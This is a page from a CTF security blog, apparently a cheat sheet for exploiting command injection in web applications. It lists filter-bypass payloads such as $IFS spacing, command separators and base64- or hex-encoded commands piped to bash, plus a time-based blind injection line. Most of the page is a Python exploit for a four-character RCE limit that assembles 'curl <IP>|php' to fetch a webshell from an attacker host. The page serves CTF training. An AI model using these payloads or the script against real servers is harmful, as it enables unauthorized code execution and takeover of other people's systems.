Eki's blog Eki's blog
Home
  • Library

    • PHP
    • JAVA
    • Node
    • Python
  • Contest

    • D3CTF 2021 Write Up
    • 虎符CTF2021
    • 2021 红帽 Web Write Up
  • Problem Set

    • Ethernaut Write Up
Pentest
Develop
  • Friends
About
  • Website
  • Tools
  • Categories
  • Tags
  • Archives
GitHub (opens new window)

Eki

Dreamer of Dreams
Home
  • Library

    • PHP
    • JAVA
    • Node
    • Python
  • Contest

    • D3CTF 2021 Write Up
    • 虎符CTF2021
    • 2021 红帽 Web Write Up
  • Problem Set

    • Ethernaut Write Up
Pentest
Develop
  • Friends
About
  • Website
  • Tools
  • Categories
  • Tags
  • Archives
GitHub (opens new window)
  • Catalogue

    • PHP安全速查
    • JAVA安全速查
  • 隐写术
  • PHP

  • protocol
  • Java

  • Node

  • Python

  • Golang

  • Arbitrary Code Execution
    • Bash环境下的常用命令
    • 基于时间的命令盲注
    • 一些绕过方式
      • 空格
      • 命令分隔符
      • 敏感字符绕过
      • RCE 长度限制
  • Shell
  • SQLi
  • SSRF
  • SSTI
  • lfi
  • XSS
  • XXE
  • convert
  • .htaccess文件利用
  • 序列化与反序列化问题小结
  • CTF
Eki
2021-05-10
目录

Arbitrary Code Execution

# Arbitrary Code Execution

# Bash环境下的常用命令

输出

cat
tac
rev
more
head
sleep #盲注
cut
sed # sed 11q 1.txt/ 打印前11行  sed p 1.txt
diff #diff --from-file 1.txt 2.txt
1
2
3
4
5
6
7
8
9

列目录

dir
ls
1
2

编码

base64
rev
tac
tr
1
2
3
4

符号标记

| 管道符
> 
<
* 通配符
?
`` 
$
$()
1
2
3
4
5
6
7
8

环境信息

env
ps
1
2

特殊变量

$IFS
$PWD
%09
\r\n
\
1
2
3
4
5

# 基于时间的命令盲注

sleep $(hostname |cut -c 1| tr a 5)
1

# 一些绕过方式

# 空格

cat<flag //重定向符
cat<>flag //重定向符
cat${IFS}flag //IFS
可能也过滤了{},用$IFS$1代替:
?ip=127.0.0.1;cat$IFS$1index.php
cat%09flag //其他字符代替
{cat,flag} //{,}
1
2
3
4
5
6
7

# 命令分隔符

;
%0a
%0d
;
& #简单拼接
| #管道符
&& #前面执行成功后面才会执行
|| #前面执行失败后面才会执行
1
2
3
4
5
6
7
8

# 敏感字符绕过

  • 编码
`echo 'Y2F0Cg==' | base64 -d` flag.txt #base64
echo "63617420666C61672E747874" | xxd -r -p|bash #16进制
1
2
  • 变量拼接
a=l;b=s;$a$b
1
  • 字符绕过
ca''t fl''ag
cat$@t fl$@ag
cat fl[a]g
ca\t f\lag
1
2
3
4

# RCE 长度限制

  • 4字符
#-*-coding:utf8-*-
import  requests as r
from  time  import  sleep
import  random
import  hashlib
target  =  'http://xx.xx.xxx/'
  
# 存放待下载文件的公网主机的IP
shell_ip  =  'xx.xx.xx.xx'
  
# 本机IP
your_ip  =  r.get( 'http://ipv4.icanhazip.com/' ).text.strip()
  
# 将shell_IP转换成十六进制
ip  =  '0x'  +  ''.join([ str ( hex ( int (i))[ 2 :].zfill( 2 ))
                      for  i  in  shell_ip.split( '.' )])
  
reset  =  target  +  '?reset'
cmd  =  target  +  '?cmd='
sandbox  =  target  +  'sandbox/'  +  \
     hashlib.md5( 'orange'  +  your_ip).hexdigest()  +  '/'
  
# payload某些位置的可选字符
pos0  =  random.choice( 'efgh' )
pos1  =  random.choice( 'hkpq' )
pos2  =  'g'   # 随意选择字符
  
payload  =  [
     '>dir' ,
     # 创建名为 dir 的文件
  
     '>%s\>'  %  pos0,
     # 假设pos0选择 f , 创建名为 f> 的文件
  
     '>%st-'  %  pos1,
     # 假设pos1选择 k , 创建名为 kt- 的文件,必须加个pos1,
     # 因为alphabetical序中t>s
  
     '>sl' ,
     # 创建名为 >sl 的文件;到此处有四个文件,
     # ls 的结果会是:dir f> kt- sl
  
     '*>v' ,
     # 前文提到, * 相当于 `ls` ,那么这条命令等价于 `dir f> kt- sl`>v ,
     #  前面提到dir是不换行的,所以这时会创建文件 v 并写入 f> kt- sl
     # 非常奇妙,这里的文件名是 v ,只能是v ,没有可选字符
  
     '>rev' ,
     # 创建名为 rev 的文件,这时当前目录下 ls 的结果是: dir f> kt- rev sl v
  
     '*v>%s'  %  pos2,
     # 魔法发生在这里: *v 相当于 rev v ,* 看作通配符。前文也提过了,体会一下。
     # 这时pos2文件,也就是 g 文件内容是文件v内容的反转: ls -tk > f
  
     # 续行分割 curl 0x11223344|php 并逆序写入
     '>p' ,
     '>ph\\' ,
     '>\|\\' ,
     '>%s\\'  %  ip[ 8 : 10 ],
     '>%s\\'  %  ip[ 6 : 8 ],
     '>%s\\'  %  ip[ 4 : 6 ],
     '>%s\\'  %  ip[ 2 : 4 ],
     '>%s\\'  %  ip[ 0 : 2 ],
     '>\ \\' ,
     '>rl\\' ,
     '>cu\\' ,
  
     'sh '  +  pos2,
     # sh g ;g 的内容是 ls -tk > f ,那么就会把逆序的命令反转回来,
     # 虽然 f 的文件头部会有杂质,但不影响有效命令的执行
     'sh '  +  pos0,
     # sh f 执行curl命令,下载文件,写入木马。
]
  
s  =  r.get(reset)
for  i  in  payload:
     assert  len (i) < =  4
     s  =  r.get(cmd  +  i)
     print  '[%d]'  %  s.status_code, s.url
     sleep( 0.1 )
s  =  r.get(sandbox  +  'fun.php?cmd=uname -a' )
print  '[%d]'  %  s.status_code, s.url
print  s.text
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
编辑 (opens new window)
上次更新: 2021/05/11, 08:36:49
misc
Shell

← misc Shell→

最近更新
01
QWB CTF2022 线下赛总决赛部分题解
08-25
02
CISCN2022 总决赛部分题解
08-25
03
DSCTF2022决赛 部分writeup
08-08
更多文章>
Theme by Vdoing | Copyright © 2019-2022 EkiXu | Creative Commons License
This work is licensed under a Creative Commons Attribution 4.0 International License.
  • 跟随系统
  • 浅色模式
  • 深色模式
  • 阅读模式